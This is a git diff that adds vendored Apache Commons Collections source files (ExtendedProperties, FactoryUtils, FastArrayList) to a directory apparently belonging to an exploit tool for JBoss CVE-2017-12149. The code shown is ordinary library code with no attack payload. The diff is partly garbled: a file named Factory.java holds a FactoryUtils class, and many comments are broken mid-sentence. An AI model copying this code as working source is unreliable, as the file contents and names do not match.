+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Long.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public Long getLong(String key, Long defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof Long) {
+ return (Long) value;
+
+ } else if (value instanceof String) {
+ Long l = new Long((String) value);
+ put(key, l);
+ return l;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getLong(key, defaultValue);
+ } else {
+ return defaultValue;
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Long object");
+ }
+ }
+
+ /**
+ * Get a float associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated float.
+ * @throws NoSuchElementException is thrown if the key doesn't
+ * map to an existing object.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Float.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public float getFloat(String key) {
+ Float f = getFloat(key, null);
+ if (f != null) {
+ return f.floatValue();
+ } else {
+ throw new NoSuchElementException('\'' + key + "' doesn't map to an existing object");
+ }
+ }
+
+ /**
+ * Get a float associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated float.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Float.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public float getFloat(String key, float defaultValue) {
+ return getFloat(key, new Float(defaultValue)).floatValue();
+ }
+
+ /**
+ * Get a float associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated float if key is found and has valid
+ * format, default value otherwise.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Float.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public Float getFloat(String key, Float defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof Float) {
+ return (Float) value;
+
+ } else if (value instanceof String) {
+ Float f = new Float((String) value);
+ put(key, f);
+ return f;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getFloat(key, defaultValue);
+ } else {
+ return defaultValue;
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Float object");
+ }
+ }
+
+ /**
+ * Get a double associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated double.
+ * @throws NoSuchElementException is thrown if the key doesn't
+ * map to an existing object.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Double.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public double getDouble(String key) {
+ Double d = getDouble(key, null);
+ if (d != null) {
+ return d.doubleValue();
+ } else {
+ throw new NoSuchElementException('\'' + key + "' doesn't map to an existing object");
+ }
+ }
+
+ /**
+ * Get a double associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated double.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Double.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public double getDouble(String key, double defaultValue) {
+ return getDouble(key, new Double(defaultValue)).doubleValue();
+ }
+
+ /**
+ * Get a double associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated double if key is found and has valid
+ * format, default value otherwise.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Double.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public Double getDouble(String key, Double defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof Double) {
+ return (Double) value;
+
+ } else if (value instanceof String) {
+ Double d = new Double((String) value);
+ put(key, d);
+ return d;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getDouble(key, defaultValue);
+ } else {
+ return defaultValue;
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Double object");
+ }
+ }
+
+ /**
+ * Convert a standard properties class into a configuration class.
+ *
+ * @param props the properties object to convert
+ * @return new ExtendedProperties created from props
+ */
+ public static ExtendedProperties convertProperties(Properties props) {
+ ExtendedProperties c = new ExtendedProperties();
+
+ for (Enumeration e = props.keys(); e.hasMoreElements();) {
+ String s = (String) e.nextElement();
+ c.setProperty(s, props.getProperty(s));
+ }
+
+ return c;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Factory.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Factory.java"
new file mode 100644
index 0000000..f0c5666
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Factory.java"
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a functor interface implemented by classes that create objects.
+ * Factory
creates an object without using an input parameter.
+ * If an input parameter is required, then {@link Transformer} is more appropriate.
+ * FactoryUtils
provides reference implementations and utilities
+ * for the Factory functor interface. The supplied factories are:
+ *
+ *
+ * All the supplied factories are Serializable.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.14 $ $Date: 2004/04/14 21:47:47 $
+ *
+ * @author Stephen Colebourne
+ */
+public class FactoryUtils {
+
+ /**
+ * This class is not normally instantiated.
+ */
+ public FactoryUtils() {
+ super();
+ }
+
+ /**
+ * Gets a Factory that always throws an exception.
+ * This could be useful during testing as a placeholder.
+ *
+ * @see org.apache.commons.collections.functors.ExceptionFactory
+ *
+ * @return the factory
+ */
+ public static Factory exceptionFactory() {
+ return ExceptionFactory.INSTANCE;
+ }
+
+ /**
+ * Gets a Factory that will return null each time the factory is used.
+ * This could be useful during testing as a placeholder.
+ *
+ * @see org.apache.commons.collections.functors.ConstantFactory
+ *
+ * @return the factory
+ */
+ public static Factory nullFactory() {
+ return ConstantFactory.NULL_INSTANCE;
+ }
+
+ /**
+ * Creates a Factory that will return the same object each time the factory
+ * is used. No check is made that the object is immutable. In general, only
+ * immutable objects should use the constant factory. Mutable objects should
+ * use the prototype factory.
+ *
+ * @see org.apache.commons.collections.functors.ConstantFactory
+ *
+ * @param constantToReturn the constant object to return each time in the factory
+ * @return the constant
factory.
+ */
+ public static Factory constantFactory(Object constantToReturn) {
+ return ConstantFactory.getInstance(constantToReturn);
+ }
+
+ /**
+ * Creates a Factory that will return a clone of the same prototype object
+ * each time the factory is used. The prototype will be cloned using one of these
+ * techniques (in order):
+ *
+ *
+ *
+ * @see org.apache.commons.collections.functors.PrototypeFactory
+ *
+ * @param prototype the object to clone each time in the factory
+ * @return the
prototype
factory
+ * @throws IllegalArgumentException if the prototype is null
+ * @throws IllegalArgumentException if the prototype cannot be cloned
+ */
+ public static Factory prototypeFactory(Object prototype) {
+ return PrototypeFactory.getInstance(prototype);
+ }
+
+ /**
+ * Creates a Factory that can create objects of a specific type using
+ * a no-args constructor.
+ *
+ * @see org.apache.commons.collections.functors.InstantiateFactory
+ *
+ * @param classToInstantiate the Class to instantiate each time in the factory
+ * @return the reflection
factory
+ * @throws IllegalArgumentException if the classToInstantiate is null
+ */
+ public static Factory instantiateFactory(Class classToInstantiate) {
+ return InstantiateFactory.getInstance(classToInstantiate, null, null);
+ }
+
+ /**
+ * Creates a Factory that can create objects of a specific type using
+ * the arguments specified to this method.
+ *
+ * @see org.apache.commons.collections.functors.InstantiateFactory
+ *
+ * @param classToInstantiate the Class to instantiate each time in the factory
+ * @param paramTypes parameter types for the constructor, can be null
+ * @param args the arguments to pass to the constructor, can be null
+ * @return the reflection
factory
+ * @throws IllegalArgumentException if the classToInstantiate is null
+ * @throws IllegalArgumentException if the paramTypes and args don't match
+ * @throws IllegalArgumentException if the constructor doesn't exist
+ */
+ public static Factory instantiateFactory(Class classToInstantiate, Class[] paramTypes, Object[] args) {
+ return InstantiateFactory.getInstance(classToInstantiate, paramTypes, args);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastArrayList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastArrayList.java"
new file mode 100644
index 0000000..6da3c90
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastArrayList.java"
@@ -0,0 +1,1303 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+
+/**
+ * java.util.ArrayList
designed
+ * to operate in a multithreaded environment where the large majority of
+ * method calls are read-only, instead of structural changes. When operating
+ * in "fast" mode, read calls are non-synchronized and write calls perform the
+ * following steps:
+ *
+ * setFast(true)
) after initialization
+ * is complete.ArrayList
only within a single thread, you should use
+ * java.util.ArrayList
directly (with no synchronization), for
+ * maximum performance.clear()
+ * is not supported by this list
+ */
+ public void clear() {
+
+ if (fast) {
+ synchronized (this) {
+ ArrayList temp = (ArrayList) list.clone();
+ temp.clear();
+ list = temp;
+ }
+ } else {
+ synchronized (list) {
+ list.clear();
+ }
+ }
+
+ }
+
+
+ /**
+ * Return a shallow copy of this FastArrayList
instance.
+ * The elements themselves are not copied.
+ */
+ public Object clone() {
+
+ FastArrayList results = null;
+ if (fast) {
+ results = new FastArrayList(list);
+ } else {
+ synchronized (list) {
+ results = new FastArrayList(list);
+ }
+ }
+ results.setFast(getFast());
+ return (results);
+
+ }
+
+
+ /**
+ * Return true
if this list contains the specified element.
+ *
+ * @param element The element to test for
+ */
+ public boolean contains(Object element) {
+
+ if (fast) {
+ return (list.contains(element));
+ } else {
+ synchronized (list) {
+ return (list.contains(element));
+ }
+ }
+
+ }
+
+
+ /**
+ * Return true
if this list contains all of the elements
+ * in the specified Collection.
+ *
+ * @param collection Collection whose elements are to be checked
+ */
+ public boolean containsAll(Collection collection) {
+
+ if (fast) {
+ return (list.containsAll(collection));
+ } else {
+ synchronized (list) {
+ return (list.containsAll(collection));
+ }
+ }
+
+ }
+
+
+ /**
+ * Increase the capacity of this ArrayList
instance, if
+ * necessary, to ensure that it can hold at least the number of elements
+ * specified by the minimum capacity argument.
+ *
+ * @param capacity The new minimum capacity
+ */
+ public void ensureCapacity(int capacity) {
+
+ if (fast) {
+ synchronized (this) {
+ ArrayList temp = (ArrayList) list.clone();
+ temp.ensureCapacity(capacity);
+ list = temp;
+ }
+ } else {
+ synchronized (list) {
+ list.ensureCapacity(capacity);
+ }
+ }
+
+ }
+
+
+ /**
+ * Compare the specified object with this list for equality. This
+ * implementation uses exactly the code that is used to define the
+ * list equals function in the documentation for the
+ * List.equals
method.
+ *
+ * @param o Object to be compared to this list
+ */
+ public boolean equals(Object o) {
+
+ // Simple tests that require no synchronization
+ if (o == this)
+ return (true);
+ else if (!(o instanceof List))
+ return (false);
+ List lo = (List) o;
+
+ // Compare the sets of elements for equality
+ if (fast) {
+ ListIterator li1 = list.listIterator();
+ ListIterator li2 = lo.listIterator();
+ while (li1.hasNext() && li2.hasNext()) {
+ Object o1 = li1.next();
+ Object o2 = li2.next();
+ if (!(o1 == null ? o2 == null : o1.equals(o2)))
+ return (false);
+ }
+ return (!(li1.hasNext() || li2.hasNext()));
+ } else {
+ synchronized (list) {
+ ListIterator li1 = list.listIterator();
+ ListIterator li2 = lo.listIterator();
+ while (li1.hasNext() && li2.hasNext()) {
+ Object o1 = li1.next();
+ Object o2 = li2.next();
+ if (!(o1 == null ? o2 == null : o1.equals(o2)))
+ return (false);
+ }
+ return (!(li1.hasNext() || li2.hasNext()));
+ }
+ }
+
+ }
+
+
+ /**
+ * Return the element at the specified position in the list.
+ *
+ * @param index The index of the element to return
+ *
+ * @exception IndexOutOfBoundsException if the index is out of range
+ */
+ public Object get(int index) {
+
+ if (fast) {
+ return (list.get(index));
+ } else {
+ synchronized (list) {
+ return (list.get(index));
+ }
+ }
+
+ }
+
+
+ /**
+ * Return the hash code value for this list. This implementation uses
+ * exactly the code that is used to define the list hash function in the
+ * documentation for the List.hashCode
method.
+ */
+ public int hashCode() {
+
+ if (fast) {
+ int hashCode = 1;
+ java.util.Iterator i = list.iterator();
+ while (i.hasNext()) {
+ Object o = i.next();
+ hashCode = 31 * hashCode + (o == null ? 0 : o.hashCode());
+ }
+ return (hashCode);
+ } else {
+ synchronized (list) {
+ int hashCode = 1;
+ java.util.Iterator i = list.iterator();
+ while (i.hasNext()) {
+ Object o = i.next();
+ hashCode = 31 * hashCode + (o == null ? 0 : o.hashCode());
+ }
+ return (hashCode);
+ }
+ }
+
+ }
+
+
+ /**
+ * Search for the first occurrence of the given argument, testing
+ * for equality using the equals()
method, and return
+ * the corresponding index, or -1 if the object is not found.
+ *
+ * @param element The element to search for
+ */
+ public int indexOf(Object element) {
+
+ if (fast) {
+ return (list.indexOf(element));
+ } else {
+ synchronized (list) {
+ return (list.indexOf(element));
+ }
+ }
+
+ }
+
+
+ /**
+ * Test if this list has no elements.
+ */
+ public boolean isEmpty() {
+
+ if (fast) {
+ return (list.isEmpty());
+ } else {
+ synchronized (list) {
+ return (list.isEmpty());
+ }
+ }
+
+ }
+
+
+ /**
+ * Return an iterator over the elements in this list in proper sequence.
+ *
+ * IMPLEMENTATION NOTE - If the list is operating in fast
+ * mode, an Iterator is returned, and a structural modification to the
+ * list is made, then the Iterator will continue over the previous contents
+ * of the list (at the time that the Iterator was created), rather than
+ * failing due to concurrent modifications.
+ */
+ public Iterator iterator() {
+ if (fast) {
+ return new ListIter(0);
+ } else {
+ return list.iterator();
+ }
+ }
+
+
+ /**
+ * Search for the last occurrence of the given argument, testing
+ * for equality using the equals()
method, and return
+ * the corresponding index, or -1 if the object is not found.
+ *
+ * @param element The element to search for
+ */
+ public int lastIndexOf(Object element) {
+
+ if (fast) {
+ return (list.lastIndexOf(element));
+ } else {
+ synchronized (list) {
+ return (list.lastIndexOf(element));
+ }
+ }
+
+ }
+
+
+ /**
+ * Return an iterator of the elements of this list, in proper sequence.
+ * See the implementation note on iterator()
.
+ */
+ public ListIterator listIterator() {
+ if (fast) {
+ return new ListIter(0);
+ } else {
+ return list.listIterator();
+ }
+ }
+
+
+ /**
+ * Return an iterator of the elements of this list, in proper sequence,
+ * starting at the specified position.
+ * See the implementation note on iterator()
.
+ *
+ * @param index The starting position of the iterator to return
+ *
+ * @exception IndexOutOfBoundsException if the index is out of range
+ */
+ public ListIterator listIterator(int index) {
+ if (fast) {
+ return new ListIter(index);
+ } else {
+ return list.listIterator(index);
+ }
+ }
+
+
+ /**
+ * Remove the element at the specified position in the list, and shift
+ * any subsequent elements down one position.
+ *
+ * @param index Index of the element to be removed
+ *
+ * @exception IndexOutOfBoundsException if the index is out of range
+ */
+ public Object remove(int index) {
+
+ if (fast) {
+ synchronized (this) {
+ ArrayList temp = (ArrayList) list.clone();
+ Object result = temp.remove(index);
+ list = temp;
+ return (result);
+ }
+ } else {
+ synchronized (list) {
+ return (list.remove(index));
+ }
+ }
+
+ }
+
+
+ /**
+ * Remove the first occurrence of the specified element from the list,
+ * and shift any subsequent elements down one position.
+ *
+ * @param element Element to be removed
+ */
+ public boolean remove(Object element) {
+
+ if (fast) {
+ synchronized (this) {
+ ArrayList temp = (ArrayList) list.clone();
+ boolean result = temp.remove(element);
+ list = temp;
+ return (result);
+ }
+ } else {
+ synchronized (list) {
+ return (list.remove(element));
+ }
+ }
+
+ }
+
+
+ /**
+ * Remove from this collection all of its elements that are contained
+ * in the specified collection.
+ *
+ * @param collection Collection containing elements to be removed
+ *
+ * @exception UnsupportedOperationException if this optional operation
+ * is not supported by this list
+ */
+ public boolean removeAll(Collection collection) {
+
+ if (fast) {
+ synchronized (this) {
+ ArrayList temp = (ArrayList) list.clone();
+ boolean result = temp.removeAll(collection);
+ list = temp;
+ return (result);
+ }
+ } else {
+ synchronized (list) {
+ return (list.removeAll(collection));
+ }
+ }
+
+ }
+
+
+ /**
+ * Remove from this collection all of its elements except those that are
+ * contained in the specified collection.
+ *
+ * @param collection Collection containing elements to be retained
+ *
+ * @exception UnsupportedOperationException if this optional operation
+ * is not supported by this list
+ */
+ public boolean retainAll(Collection collection) {
+
+ if (fast) {
+ synchronized (this) {
+ ArrayList temp = (ArrayList) list.clone();
+ boolean result = temp.retainAll(collection);
+ list = temp;
+ return (result);
+ }
+ } else {
+ synchronized (list) {
+ return (list.retainAll(collection));
+ }
+ }
+
+ }
+
+
+ /**
+ * Replace the element at the specified position in this list with
+ * the specified element. Returns the previous object at that position.
+ *
+ * IMPLEMENTATION NOTE - This operation is specifically
+ * documented to not be a structural change, so it is safe to be performed
+ * without cloning.
+ *
+ * @param index Index of the element to replace
+ * @param element The new element to be stored
+ *
+ * @exception IndexOutOfBoundsException if the index is out of range
+ */
+ public Object set(int index, Object element) {
+
+ if (fast) {
+ return (list.set(index, element));
+ } else {
+ synchronized (list) {
+ return (list.set(index, element));
+ }
+ }
+
+ }
+
+
+ /**
+ * Return the number of elements in this list.
+ */
+ public int size() {
+
+ if (fast) {
+ return (list.size());
+ } else {
+ synchronized (list) {
+ return (list.size());
+ }
+ }
+
+ }
+
+
+ /**
+ * Return a view of the portion of this list between fromIndex
+ * (inclusive) and toIndex (exclusive). The returned list is backed
+ * by this list, so non-structural changes in the returned list are
+ * reflected in this list. The returned list supports
+ * all of the optional list operations supported by this list.
+ *
+ * @param fromIndex The starting index of the sublist view
+ * @param toIndex The index after the end of the sublist view
+ *
+ * @exception IndexOutOfBoundsException if an index is out of range
+ */
+ public List subList(int fromIndex, int toIndex) {
+ if (fast) {
+ return new SubList(fromIndex, toIndex);
+ } else {
+ return list.subList(fromIndex, toIndex);
+ }
+ }
+
+
+ /**
+ * Return an array containing all of the elements in this list in the
+ * correct order.
+ */
+ public Object[] toArray() {
+
+ if (fast) {
+ return (list.toArray());
+ } else {
+ synchronized (list) {
+ return (list.toArray());
+ }
+ }
+
+ }
+
+
+ /**
+ * Return an array containing all of the elements in this list in the
+ * correct order. The runtime type of the returned array is that of
+ * the specified array. If the list fits in the specified array, it is
+ * returned therein. Otherwise, a new array is allocated with the
+ * runtime type of the specified array, and the size of this list.
+ *
+ * @param array Array defining the element type of the returned list
+ *
+ * @exception ArrayStoreException if the runtime type of array
+ * is not a supertype of the runtime type of every element in this list
+ */
+ public Object[] toArray(Object array[]) {
+
+ if (fast) {
+ return (list.toArray(array));
+ } else {
+ synchronized (list) {
+ return (list.toArray(array));
+ }
+ }
+
+ }
+
+
+ /**
+ * Return a String representation of this object.
+ */
+ public String toString() {
+
+ StringBuffer sb = new StringBuffer("FastArrayList[");
+ sb.append(list.toString());
+ sb.append("]");
+ return (sb.toString());
+
+ }
+
+
+ /**
+ * Trim the capacity of this ArrayList
instance to be the
+ * list's current size. An application can use this operation to minimize
+ * the storage of an ArrayList
instance.
+ */
+ public void trimToSize() {
+
+ if (fast) {
+ synchronized (this) {
+ ArrayList temp = (ArrayList) list.clone();
+ temp.trimToSize();
+ list = temp;
+ }
+ } else {
+ synchronized (list) {
+ list.trimToSize();
+ }
+ }
+
+ }
+
+
+
+ private class SubList implements List {
+
+ private int first;
+ private int last;
+ private List expected;
+
+
+ public SubList(int first, int last) {
+ this.first = first;
+ this.last = last;
+ this.expected = list;
+ }
+
+ private List get(List l) {
+ if (list != expected) {
+ throw new ConcurrentModificationException();
+ }
+ return l.subList(first, last);
+ }
+
+ public void clear() {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ get(temp).clear();
+ last = first;
+ list = temp;
+ expected = temp;
+ }
+ } else {
+ synchronized (list) {
+ get(expected).clear();
+ }
+ }
+ }
+
+ public boolean remove(Object o) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ boolean r = get(temp).remove(o);
+ if (r) last--;
+ list = temp;
+ expected = temp;
+ return r;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).remove(o);
+ }
+ }
+ }
+
+ public boolean removeAll(Collection o) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ List sub = get(temp);
+ boolean r = sub.removeAll(o);
+ if (r) last = first + sub.size();
+ list = temp;
+ expected = temp;
+ return r;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).removeAll(o);
+ }
+ }
+ }
+
+ public boolean retainAll(Collection o) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ List sub = get(temp);
+ boolean r = sub.retainAll(o);
+ if (r) last = first + sub.size();
+ list = temp;
+ expected = temp;
+ return r;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).retainAll(o);
+ }
+ }
+ }
+
+ public int size() {
+ if (fast) {
+ return get(expected).size();
+ } else {
+ synchronized (list) {
+ return get(expected).size();
+ }
+ }
+ }
+
+
+ public boolean isEmpty() {
+ if (fast) {
+ return get(expected).isEmpty();
+ } else {
+ synchronized (list) {
+ return get(expected).isEmpty();
+ }
+ }
+ }
+
+ public boolean contains(Object o) {
+ if (fast) {
+ return get(expected).contains(o);
+ } else {
+ synchronized (list) {
+ return get(expected).contains(o);
+ }
+ }
+ }
+
+ public boolean containsAll(Collection o) {
+ if (fast) {
+ return get(expected).containsAll(o);
+ } else {
+ synchronized (list) {
+ return get(expected).containsAll(o);
+ }
+ }
+ }
+
+ public Object[] toArray(Object[] o) {
+ if (fast) {
+ return get(expected).toArray(o);
+ } else {
+ synchronized (list) {
+ return get(expected).toArray(o);
+ }
+ }
+ }
+
+ public Object[] toArray() {
+ if (fast) {
+ return get(expected).toArray();
+ } else {
+ synchronized (list) {
+ return get(expected).toArray();
+ }
+ }
+ }
+
+
+ public boolean equals(Object o) {
+ if (o == this) return true;
+ if (fast) {
+ return get(expected).equals(o);
+ } else {
+ synchronized (list) {
+ return get(expected).equals(o);
+ }
+ }
+ }
+
+ public int hashCode() {
+ if (fast) {
+ return get(expected).hashCode();
+ } else {
+ synchronized (list) {
+ return get(expected).hashCode();
+ }
+ }
+ }
+
+ public boolean add(Object o) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ boolean r = get(temp).add(o);
+ if (r) last++;
+ list = temp;
+ expected = temp;
+ return r;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).add(o);
+ }
+ }
+ }
+
+ public boolean addAll(Collection o) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ boolean r = get(temp).addAll(o);
+ if (r) last += o.size();
+ list = temp;
+ expected = temp;
+ return r;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).addAll(o);
+ }
+ }
+ }
+
+ public void add(int i, Object o) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ get(temp).add(i, o);
+ last++;
+ list = temp;
+ expected = temp;
+ }
+ } else {
+ synchronized (list) {
+ get(expected).add(i, o);
+ }
+ }
+ }
+
+ public boolean addAll(int i, Collection o) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ boolean r = get(temp).addAll(i, o);
+ list = temp;
+ if (r) last += o.size();
+ expected = temp;
+ return r;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).addAll(i, o);
+ }
+ }
+ }
+
+ public Object remove(int i) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ Object o = get(temp).remove(i);
+ last--;
+ list = temp;
+ expected = temp;
+ return o;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).remove(i);
+ }
+ }
+ }
+
+ public Object set(int i, Object a) {
+ if (fast) {
+ synchronized (FastArrayList.this) {
+ ArrayList temp = (ArrayList) list.clone();
+ Object o = get(temp).set(i, a);
+ list = temp;
+ expected = temp;
+ return o;
+ }
+ } else {
+ synchronized (list) {
+ return get(expected).set(i, a);
+ }
+ }
+ }
+
+
+ public Iterator iterator() {
+ return new SubListIter(0);
+ }
+
+ public ListIterator listIterator() {
+ return new SubListIter(0);
+ }
+
+ public ListIterator listIterator(int i) {
+ return new SubListIter(i);
+ }
+
+
+ public Object get(int i) {
+ if (fast) {
+ return get(expected).get(i);
+ } else {
+ synchronized (list) {
+ return get(expected).get(i);
+ }
+ }
+ }
+
+ public int indexOf(Object o) {
+ if (fast) {
+ return get(expected).indexOf(o);
+ } else {
+ synchronized (list) {
+ return get(expected).indexOf(o);
+ }
+ }
+ }
+
+
+ public int lastIndexOf(Object o) {
+ if (fast) {
+ return get(expected).lastIndexOf(o);
+ } else {
+ synchronized (list) {
+ return get(expected).lastIndexOf(o);
+ }
+ }
+ }
+
+
+ public List subList(int f, int l) {
+ if (list != expected) {
+ throw new ConcurrentModificationException();
+ }
+ return new SubList(first + f, f + l);
+ }
+
+
+ private class SubListIter implements ListIterator {
+
+ private List expected;
+ private ListIterator iter;
+ private int lastReturnedIndex = -1;
+
+
+ public SubListIter(int i) {
+ this.expected = list;
+ this.iter = SubList.this.get(expected).listIterator(i);
+ }
+
+ private void checkMod() {
+ if (list != expected) {
+ throw new ConcurrentModificationException();
+ }
+ }
+
+ List get() {
+ return SubList.this.get(expected);
+ }
+
+ public boolean hasNext() {
+ checkMod();
+ return iter.hasNext();
+ }
+
+ public Object next() {
+ checkMod();
+ lastReturnedIndex = iter.nextIndex();
+ return iter.next();
+ }
+
+ public boolean hasPrevious() {
+ checkMod();
+ return iter.hasPrevious();
+ }
+
+ public Object previous() {
+ checkMod();
+ lastReturnedIndex = iter.previousIndex();
+ return iter.previous();
+ }
+
+ public int previousIndex() {
+ checkMod();
+ return iter.previousIndex();
+ }
+
+ public int nextIndex() {
+ checkMod();
+ return iter.nextIndex();
+ }
+
+ public void remove() {
+ checkMod();
+ if (lastReturnedIndex < 0) {
+ throw new IllegalStateException();
+ }
+ get().remove(lastReturnedIndex);
+ last--;
+ expected = list;
+ iter = get().listIterator(previousIndex());
+ lastReturnedIndex = -1;
+ }
+
+ public void set(Object o) {
+ checkMod();
+ if (lastReturnedIndex < 0) {
+ throw new IllegalStateException();
+ }
+ get().set(lastReturnedIndex, o);
+ expected = list;
+ iter = get().listIterator(previousIndex() + 1);
+ }
+
+ public void add(Object o) {
+ checkMod();
+ int i = nextIndex();
+ get().add(i, o);
+ last++;
+ iter = get().listIterator(i + 1);
+ lastReturnedIndex = 1;
+ }
+
+ }
+
+
+ }
+
+
+
+ private class ListIter implements ListIterator {
+
+ private List expected;
+ private ListIterator iter;
+ private int lastReturnedIndex = -1;
+
+
+ public ListIter(int i) {
+ this.expected = list;
+ this.iter = get().listIterator(i);
+ }
+
+ private void checkMod() {
+ if (list != expected) {
+ throw new ConcurrentModificationException();
+ }
+ }
+
+ List get() {
+ return expected;
+ }
+
+ public boolean hasNext() {
+ checkMod();
+ return iter.hasNext();
+ }
+
+ public Object next() {
+ checkMod();
+ lastReturnedIndex = iter.nextIndex();
+ return iter.next();
+ }
+
+ public boolean hasPrevious() {
+ checkMod();
+ return iter.hasPrevious();
+ }
+
+ public Object previous() {
+ checkMod();
+ lastReturnedIndex = iter.previousIndex();
+ return iter.previous();
+ }
+
+ public int previousIndex() {
+ checkMod();
+ return iter.previousIndex();
+ }
+
+ public int nextIndex() {
+ checkMod();
+ return iter.nextIndex();
+ }
+
+ public void remove() {
+ checkMod();
+ if (lastReturnedIndex < 0) {
+ throw new IllegalStateException();
+ }
+ get().remove(lastReturnedIndex);
+ expected = list;
+ iter = get().listIterator(previousIndex());
+ lastReturnedIndex = -1;
+ }
+
+ public void set(Object o) {
+ checkMod();
+ if (lastReturnedIndex < 0) {
+ throw new IllegalStateException();
+ }
+ get().set(lastReturnedIndex, o);
+ expected = list;
+ iter = get().listIterator(previousIndex() + 1);
+ }
+
+ public void add(Object o) {
+ checkMod();
+ int i = nextIndex();
+ get().add(i, o);
+ iter = get().listIterator(i + 1);
+ lastReturnedIndex = -1;
+ }
+
+ }
+}
